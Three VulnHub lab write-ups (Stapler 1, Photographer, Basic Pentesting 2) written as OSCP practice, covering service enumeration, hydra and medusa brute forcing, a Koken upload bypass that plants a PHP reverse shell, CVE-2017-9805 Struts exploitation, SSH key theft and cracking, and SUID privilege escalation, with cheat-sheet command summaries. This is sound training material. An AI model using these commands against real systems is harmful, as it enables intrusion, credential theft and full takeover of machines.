VulnHub – Stapler 1

After exploiting the first three targets (VulnHub – Basic Pentesting 1, VulnHub – Basic Pentesting 2, and VulnHub – Photographer), I will go through the curated list of OSCP-like machines to improve and get a better feeling for the OSCP level of machines.

Note: I’ll use the “we” form for the writeups, as that’s how I intend to write the reports. For these blurps about my progress etc. I’ll stick with the first person.


Our attacking box is a virtual machine that has the IP and runs an updated Kali Linux 2020.3. Throughout the penetration test, we will try to avoid using any automated exploitation tools. The target is VulnHub’s Stapler 1, a vulnerable virtual machine to practice penetration testing.

Information Gathering


The first thing we do is find the IP of our target by running nmap against the subnet.

nmap -sn

We learn, that the target IP is and run an nmap scan against that IP against all TCP ports (-p-).

nmap -sV -p- -Pn -n
Image 1: Results of the nmap scan against all TCP ports.

We also scan for the most common open UDP ports (note: this takes a bit of time so we did it while executing some of the steps below).

Image 2: nmap scan of UPD ports.


Port 80

Running dirb on the webserver on port 80 reveals two files that we can download (nikto yields the same result).

sudo dirb -f -r
Image 3: Results of running dirb against the webserver on port 80.
curl > bashrc.txt
curl > profile.txt

Browsing and looking at the source code yielded nothing interesting.

Image 4: Browsing

Port 12380

Running nikto on the webserver running on port 12380 yields some directories (dirb didn’t return any results).

nikto -h
Image 4: Running nikto against the webserver on port 12380.

Seems like there’s a misconfiguration of SSL and there’s also a user “dave” that shows up in the headers with a comment. There’s also three interesting directories: /admin112233, /blogblog and /phpmyadmin.

We opened in a browser.

Image 5: Browsing

The title of the page was “Tim, we need to-do better next year for Initech”, so we can add “Tim” as another potential user. Viewing the source code gave us something interesting.

Image 6: Viewing the source of

So we have another potential user “Zoe” (from HR) as well as an interesting string. It seems to be a base64 encoded jpeg image, but we were not able to decode it in any meaningful way.


Because we saw port 139 open, we run enum4linux to fish for account names and save them to enum.txt.

enum4linux -vr | grep 'Local\|Domain' > enum.txt
Image 7: Enumerating account names with enum4linux.

We’ll also get a listing of the shares.

enum4linux -vS
Image 8: Listing smb shares with enum4linux.

From the comments, it seems like there are two users, “Fred”, who is on the list (fred) and kathy who doesn’t show up in our enumeration. Let’s try to connect to the kathy and tmp shares and explore them.

smbclient -W 'WORKGROUP' //''/'kathy' -U''%'' -c 'ls'
smbclient -W 'WORKGROUP' //''/'tmp' -U''%'' -c 'ls'
Image 9: Available smaba files and directories.

Lets’ quickly check the contents of the two subdirectories kathy_stuff and backup as well and then download everything.

Image 10: Subdirectory contents of the kathy share.
smbclient -W 'WORKGROUP' //''/'kathy' -U''%'' -c 'recurse ON; prompt OFF; mget *'
smbclient -W 'WORKGROUP' //''/'tmp' -U''%'' -c 'recurse ON; prompt OFF; mget *'
Image 11: Getting all files from the samba shares.

The todo-list.txt contains the following information: “I’m making sure to backup anything important for Initech, Kathy”. So we keep in mind, that Initech might be relevant. Using cat to display the ls file, we can see that there used to be another file called “systemd-private-df2bff9b90164a2eadc490c0b8f76087-systemd-timesyncd.service-vFKoxJ” in the tmp directory.

Image 12: Content of the ls file.

Searching a bit on Google reveals, that these files are created by systemd if the private temp feature is activated [1]. In this case for the timesyncd.service.

We unzipped the wordpress-4.tar.gz file but didn’t find a wp-config.php file inside (which usually contains the database password). The wp-config-sample.php didn’t leak any information.

Let’s get all activated options for vsftpd.

cat vsftpd.conf | grep -v '#'
Image 13: Content of the vsftpd.conf backup.

Lastly, let’s save all the enumerated local usernames in a file (users_enum.txt) for later use.

grep 'Unix' enum.txt | awk '{print $3}' | cut -d '\' -f2 > users_enum.txt


Anonymous login should be enabled, so let’s see what we can do by logging in as ftp and leaving the password empty.

Image 14: Anonymous FTP connection with message.

There seems to be an admin user named “Harry” and we can download the note file by issuing “get note”. The note contains the following text: “Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.” So there’s two more potential users that we can add.


Image 15: Default ssh connection.

There seems to be an admin user named “Barry” but we can’t get any further without logging in.

List of users

We found the following usernames from various sources…

  • dave – from misconfigured SSL
  • Tim – from webserver 2
  • Zoe – Head of HR – from webserver 2
  • Fred – from samba
  • kathy – from samba
  • Harry – from FTP
  • Elly – from FTP
  • John – from FTP
  • Barry – from SSH

We create a file called usernames.txt and add one user per line, lowercased to it. We also create a file usernames_cap.txt with the capitalized versions.

sed 's/^./\u&/g' usernames.txt > usernames_cap.txt

We combine all usernames into one master username list called user_list.txt.

cat usernames.txt usernames_cap.txt users_enum.txt >> user_list.txt

Just to make sure, we check that there are no duplicates.

uniq -D user_list.txt


Next, we run searchsploit for all open ports. There’s interesting results for OpenSSH, MySQL and dnsmasq.

searchsploit OpenSSH 7.2p2
Image 16: searchsploit results for OpenSSH.
searchsploit MySQL 5.7.12
Image 17: searchsploit results for MySQL.
searchsploit dnsmasq 2.75
Image 18: searchsploit results for dnsmasq.


Brute forcing

Let’s try a simple username == password brute force against both FTP and SSH with hydra.

hydra -L user_list.txt -P user_list.txt ftp
Image 19: Brute forced FTP password for user SHayslett.
hydra -L user_list.txt -P user_list.txt ssh
Image 20: Brute forced SSH password for user SHayslett.

Seems like the same user (SHayslett) has used his username as a password for FTP and SSH.

If we try to SSH into the machine, we get access to it (note: we also got an exchange_identification error before).

Image 21: Local priviliges as user SHayslett.

Post Exploitation

First, we check if there’s anything interesting in the /home directory.

ls -Ral /home

The user peter has a file called .zcompdump in his .cache directory which we can read. He can also sudo to become root as indicated by the .sudo_as_admin_successful file. There’s also an empty file in SHayslett‘s .cache directory which indicates that motd is used.

Next, we run LinEnum to check for common problems by copy&pasting the script from Github [2] into and using chmod +x to make it executable.

./ -r linenum
Image 22: Interesting .bash_history found by running LinEnum.

Seem like the user JKanode tried to run ssh in non-interactive mode with sshpass and he passed the passwords via the -p command line argument. We know from before that peter can sudo, so we try to ssh with that password.

Image 23: Full root access.

After an initial message about z-shell we get access and can become root. And that’s all. Mission accomplished 🙂


We can try to enumerate existing accounts in OpenSSH [3] before brute forcing. There’s a script for this /usr/share/exploitdb/exploits/linux/remote/ However, because our Kali uses Python 3.8 we have to change the two calls time.clock(), which was deprecated in 3.8 [4], to time.process_time(). For example, running this against our usernames.txt suggests, that only the user “zoe” from that file exists on the target.

python3 -U usernames.txt
Image 24: OpenSSH username enumeration against usernames.txt

We can double-check this by looking into /etc/passwd. Only “zoe” and “elly” exist as local users on the target. However, elly is explicitly forbidden to access the machine vie DenyUsers in sshd_config.

Lessons Learned

  • Keep it simple, stupid (KISS). I spend a couple of hours researching the exploits for dnsmasq and MySQL before I tried to simply use hydra to see if username == password was possible. I’m not 100% sure about the use of hydra but will keep using it for simple or targeted attacks (I’ll keep the runtime under 30 minutes).
  • Post exploitation scripts like LinEnum are pretty handy. I’m not 100% sure if they are allowed for OSCP or not. I think I’ll keep using them and manually reproduce the steps that found interesting information. In this case:
for i in $(ls /home) ; do echo "User: $i" && cat "/home/$i/.bash_history"; done
  • Actually look inside .bash_history, you never know what you might find. I didn’t do it during my manual exploration of /home and only saw it when running LinEnum.







VulnHub – Photographer


Our attacking box is a virtual machine that has the IP and runs an updated Kali Linux 2020.3. Throughout the penetration test, we will try to avoid using any automated exploitation tools. The target is Photographer 1, a vulnerable virtual machine to practice penetration testing.

Information Gathering

The first thing we do is find the IP of our target by running nmap or arp-scan against the subnet.

nmap -sn

sudo arp-scan -l
Image 1: Initial scan of the subnet with nmap and arp-scan.

As we can see, the target IP is Next, we check for open ports with nmap.

nmap -sV -Pn -n
Image 2: nmap scan of the target.

We have the following open ports to investigate:

  • webserver (Apache 2.4.18 on port 80)
  • webserver 2 (Apache 2.4.18 on port 8000)
  • Samba (smbd 3.X-4.X on ports 139 and 445)

Because we know from the nmap scan, that the target is running Linux and that samba is running on the target, we can use enum4linux to check for local user accounts.

enum4linux -r | grep 'Unix'
Image 3: Finding local users with enum4linux.

As we can see, there’s two users daisa and agi. Let’s explore the samba shares next.

nmap --script=smb-enum-shares -p 445
Image 4: nmap smb enumeration.

The sambashare looks interesting, let’s connect to it.

smbclient -W 'WORKGROUP' //''/sambashare -U''%''
Image 5: Connecting to the samba share.

We were able to connect to the share and download two files mailsent.txt and For good measure, let’s see if we can upload a file.

Image 6: Trying to upload a file to the smb share.

The mailsent.txt file contains some interesting information.

Image 7: Content of the mailsent.txt file.

Next, we check for hidden directories for both webservers with nikto and dirb.

nikto -port 80 -host
Image 8: nikto directory search for port 80.
sudo dirb -f -r | grep 'DIRECTORY'
Image 9: dirb directory search for port 80.

The webserver on port 80 has two directories /images/ and /assets/ and the default file /icons/README. Let’s try the same for port 8000.

nikto -port 8000 -host
Image 10: nikto directory search for port 8000.
sudo dirb -f -r | grep 'DIRECTORY'
Image 11: dirb directory search for port 8000.

The webserver on port 8000 has the directories /admin/, /app/, /home/, /storage/ and the default file /icons/README.

Opening in a browser leads to a blog page of daisa ahomi that seems a bit broken.

Image 12: daisa ahomi’s blog on port 8000.

Opening in a browser leads to a login screen.

Image 13: Login screen on port 8000.

We are asked to provide a username and password. Since this is the blog of daisa and we saw her mentioned in the mailsent.txt file we already know the email address ( but we still have to guess the password. We try “daisa” and “ahomi” but then realize from the mail-text that maybe, just maybe, the password could be “babygirl”. Sure enough, this works and we gain access to the admin page.

Image 14: Admin interface of daisa’s blog.

Clicking on “Settings” -> “Console” reveals the site is running Koken 0.22.24.


Googling for “Koken 0.22.24 exploit” leads to a nice summary of an exploit [1]. First, we create a file called image.php.jpg with our trusted php reverse shell and change the $ip to (we use the default port 1234).

cat /usr/share/webshells/php/php-reverse-shell.php > image.php.jpg

The idea of the exploit is to upload a PHP file with a fake file ending that is allowed by the server (.jpg), intercept the request in a proxy and change the file ending to the real one (.php). Afterward, the PHP code can be executed by browsing to the location of the uploaded file.

First we have to setup the interception infrastructure. We’ll use Burp in combination with FoxyProxy [2].

We go to “Library” > “Content” and click the “Import Content” button and drag&drop our newly created file to upload it. Then we activate Burp and click the “Import” button to send the file. In Burp, we change the filename to image.php and forward the request.

Image 15: Changing the filename to .php before forwarding the request.

We deactivate Burp and refresh and see that our uploaded file shows up. If we click on it, the location in the browser bar changes.

Image 16: File location of the recently uploaded reverse shell.

Let’s listen for the reverse shell with netcat.

nc -vnlp 1234

After hitting reload in the browser, the PHP code is executed and we are able to catch the shell with netcat. We now have a shell as user www-data.

Image 17: A shell as user www-data.

Post Exploitation

The first thing we do is get the tty to work properly [3].

python -c "import pty; pty.spawn('/bin/bash')"

After that, we press CTR+Z and issue the following commands…

stty raw -echo

…and press “Enter” twice.

Image 18: tty and a bash shell with tab completion.

We do some default reconnaissance and can confirm that there are two users called agi and daisa.

Image 19: Standard Linux reconnaissance.

Unfortunately, we cannot read /etc/shadow. We note that the home directory for daisa is /home/osboxes but that directory doesn’t exist in /home. Snooping around a bit, we find nothing interesting in agi’s home directory except the share directory which is the samba share that we saw earlier. However, in daisa’s home directory, there’s a .sudo_as_admin_successful file which indicates this user can become root. There’s also an interesting file called user.txt which is one of the flags for this machine.

Image 20: The content of user.txt. The first flag.

Let’s check if there are any interesting SUID files.

find / -perm -u=s -type f 2>/dev/null
Image 21: SUID files.

We can compare this list with GTFOBins, which is “a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions” [4]. /usr/bin/php7.2 is a good candidate [5]…

/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
Image 22: Mission accomplished. The second flag.

And that’s all. This time we even remember, that there’s usually a .txt file in root’s home directory to prove you finished the boot2root. Mission accomplished 🙂

Lessons Learned

Information Gathering

Subnet scanning

nmap -sn ATTACKER-IP/24
sudo arp-scan -l

Improved local usernames via samba

enum4linux -r TARGET-IP | grep 'Unix'

Webserver subdirectories

nikto -port PORT -host TARGET-IP
sudo dirb http://TARGET-IP:PORT -f -r | grep 'DIRECTORY'


Request interception

It’s sometimes possible to work around limitations regarding the file-upload extensions by renaming the file to have an allowed extension, intercepting the request in a proxy, and changing the file extension before passing the request to the application.

Post Exploitation

Improved tty

python -c "import pty; pty.spawn('/bin/bash')"

Press CTR+Z, then:

stty raw -echo

And press “Enter” twice. After that, You can also try:

export TERM=xterm








VulnHub – Basic Pentesting 2


Our attacking box is a virtual machine that has the IP and runs an updated Kali Linux 2020.3. Throughout the penetration test, we will try to avoid using any automated exploitation tools. The target is Basic Pentesting 2, a vulnerable virtual machine to practice penetration testing. It has the IP and we have no further information about this target.

Information Gathering

We start by running nmap on the target IP.

nmap -sV -Pn -n
Image 1: nmap scan of the target.

We have the following open ports to investigate:

  • SSH server (OpenSSH 7.2p2 on port 22)
  • webserver (Apache 2.4.18 on port 80)
  • Samba (smbd 3.X-4.X on ports 139 and 445)
  • Apache Jserv (1.3 on port 8009)
  • Apache Tomcat (9.0.7 on port 8080)

Let’s check out the webserver first by opening in the browser.

Image 2: Connecting to the webserver.

Next, we run nikto to get some more information.

nikto -h
Image 3: nikto scan of the target.

Once again, we discover an interesting director called /development/ and we open it in a browser.

Image 4: The /development/ directory.

The directory contains two .txt files that we also open.

Image 5: The dev.txt file.
Image 6: The j.txt file.

It seems like there are at least two users with the initials “J” and “K”. Furthermore “K” seems to be an admin and “J” seems to use a weak password. That’s good to know. Apart from the Apache and SMB servers that we already know about, “K” mentions a struts 2.5.12 REST example. A quick Google search suggests that the default location for that example code is

Image 7: struts2 showcase page.

It seems like the struts2 test is still running. A bit of googling (“struts 2.5.12 cve”) reveals that version 2.5.12 is exploitable with code execution as indicated by CVE-2017-9805 [1].


We find a Python script to exploit the vulnerability by googling “CVE-2017-9805 exploit github” [2] and copy and paste the script into a file on our attack box. To test if everything works, we’ll send a ping command to our attack box through the exploit and check for incoming icmp packages with tcpdump on our attack box.

sudo tcpdump -n icmp
python3 -u "" -c "ping -c2" --exploit

As we can see, the ping is sent from the target machine to our attack box.

Image 8: Receiving icmp packages through the exploit.

At this point we reach a temporary dead end because we tried to run a couple of reverse shells and none worked. It seems like you cannot run any commands with ; or &&. After a while we realized that we could try to run a server and connect to it. Running the default Python 2 webserver on port 9090 on the target machine worked.

python3 -u "" -c "python -m SimpleHTTPServer 9090" --exploit

After connecting to with a browser, we get a nice directory listing of the filesystem that we can explore.

Image 9: Directory listing after connecting to the Python webserver.

Post Exploitation

After entering the /home directory, we see that the usernames of “J” and “K” are jan and kay respectively. Our initial thought is to grab /etc/shadow and decrypt jan’s supposedly weak password. However, we only get a 404 when we try to access the file. However, there are a lot of interesting things in kay’s home directory.

Image 10: Home directory of kay.

Unfortunately, pass.bak, which could be a backup file for the password, cannot be accessed. However, the .ssh directory can be entered and contains a private key (id_rsa) that we can download.

curl > id_rsa

We also note that kay can login as admin, as indicated by the existence of the .sudo_as_admin_successful file.

If we try to login with the obtained key, we get a warning about the persmissions of the key file so we change that first and then connect via ssh.

chmod 600 id_rsa
ssh -i id_rsa kay@
Image 11: ssh asks for a passphrase.

Unfortunately, ssh asks for a passphrase. We can use john to crack the passphrase but we first have to convert it to a suitable format with We will also use a wordlist of common passwords that were exposed after an attack on RockYou [3]. The wordlist comes preinstalled with Kali but we have to unzip it first.

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

python /usr/share/john/ id_rsa > id_rsa.hash

sudo john --wordlist=/usr/share/wordlists/rockyou.txt --format=SSH id_rsa.hash
Image 12: Cracked ssh passphrase.

With the passphrase we ssh into the target machine and immediately try to become root. Unfortunately, we still need kay’s password. Thankfully, we remember the file pass.bak that we couldn’t access before. Sure enough, it contains the correct password and we become root. Mission accomplished 🙂

Image 13: Mission accomplished.

Alternative Attacks

ssh cracking

Since smbd is running on the target, we can use enum4linux to get some information about local users of the system.

enum4linux -r
Image 14: Username enumeration with enum4linux.

We can see that there are two local users named “kay” and “jan” on the system. We remember from before, that the user “jan” supposedly has a weak password in /etc/shadow. From this, we deduce that he will probably use weak passwords everywhere and try to crack his ssh password with medusa.

medusa -h -f -g 5 -u 'jan' -P /usr/share/wordlists/rockyou.txt -M ssh
Image 15: Medusa scan for ssh.

Alternatively, we can use hydra, which was a bit faster than medusa.

hydra -l 'jan' -P /usr/share/wordlists/rockyou.txt ssh
Image 16: Hydra scan for ssh.

The scans reveal the password “armando” which we use to ssh to the target machine.

Image 17: We are logged in as user jan.

Unfortunately, we are not allowed to sudo so we have to find another way to escalate our privileges on this machine. Poking around a bit, we see that we can cd into the home directory of kay. From there, we can cd into his .ssh directory and cat id_rsa and repeat the steps from our initial attack to gain root access.


To get more information about smbd, we scan the smbd ports (139,445) again but this time, we also use nmap’s script scan (-sC) feature.

sudo nmap -sV -sC -Pn -n -p 139,445
Image 18: nmap scan of the smbd ports, script scan active.

It seems like the smbd version is 4.3.11. We can also use nmap to enumerate smb shares.

nmap -sV --script=smb-enum-shares -p 445
Image 19: Using nmap to enumerate smb shares.

…and nmblookup to lookup NetBIOS names.

nmblookup -A
Image 20: nmblookup of target.

We can see that there’s an account named guest. We try to connect without a password.

smbclient -W 'WORKGROUP' //''/Anonymous -U''%''
Image 21: Successfull connection to the smb server and extraction of staff.txt.

Let’s see if the smbd is vulnerable by googling “smbd 4.3.11 cvs” which yields a whopping 21 vulnerabilities [4]. The most promising is CVE-2017-7494, also known as SambaCry [5]. Unfortunately, it seems like we are not allowed to write to the share (even though nmap previously reported we have READ/WRITE access), which is a prerequisite for the exploit [6].

Image 22: No write access to the smb share.

We can confirm this with smbmap.

Image 23: smbmap output that confirms that the share is READ ONLY.

This concludes our further tests.

Lessons Learned

Information gathering

Always check out the contents of all non-standard files that you can read. There might be some interesting information (like development and testing environments or notes about password security).

Username enumeration if samba is running:

enum4linux -r TARGET-IP


Listen for incoming ping

Useing tcpdump to listen for a ping is a good way of checking remote code execution. Just run ping -c2 ATTACK-IP from the target box.

sudo tcpdump -n icmp

Run a webserver on the target machine

python -m SimpleHTTPServer PORT

Cracking ssh passwords

medusa -h TARGET-IP -f -g 5 -u 'USERNAME' -P /usr/share/wordlists/rockyou.txt -M ssh
hydra -l 'USERNAME' -P /usr/share/wordlists/rockyou.txt TARGET-IP ssh


Get information about samba on the target:

sudo nmap -sV -sC -Pn -n -p 139,445 TARGET-IP
nmap --script=smb-enum-shares -p 445 TARGET-IP
nmblookup -A TARGET-IP

Check access rights and list files:

smbmap -R -H TARGET-IP

Connect to a samba share. The argument passed via -U is username%password. If left empty, an annonymous login is tried.

smbclient -W 'WORKGROUP' //''/SHARENAME -U ''%''

Post Exploitation


Always check the home directories for interesting content. SSH keys are especially useful if ssh is running on the target. Get id_rsa either by copy&pasting it or by getting it through a webserver we started.

curl http://IP:PORT/home/USERNAME/.ssh/id_rsa > id_rsa

Connect via ssh with a keyfile:

chmod 600 id_rsa
ssh -i id_rsa USERNAME@TARGET-IP

Cracking ssh pass phrases (RockYou wordlist):

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

python /usr/share/john/ id_rsa > id_rsa.hash

sudo john --wordlist=/usr/share/wordlists/rockyou.txt --format=SSH id_rsa.hash


A .sudo_as_admin_successful file indicates, that this user can become root.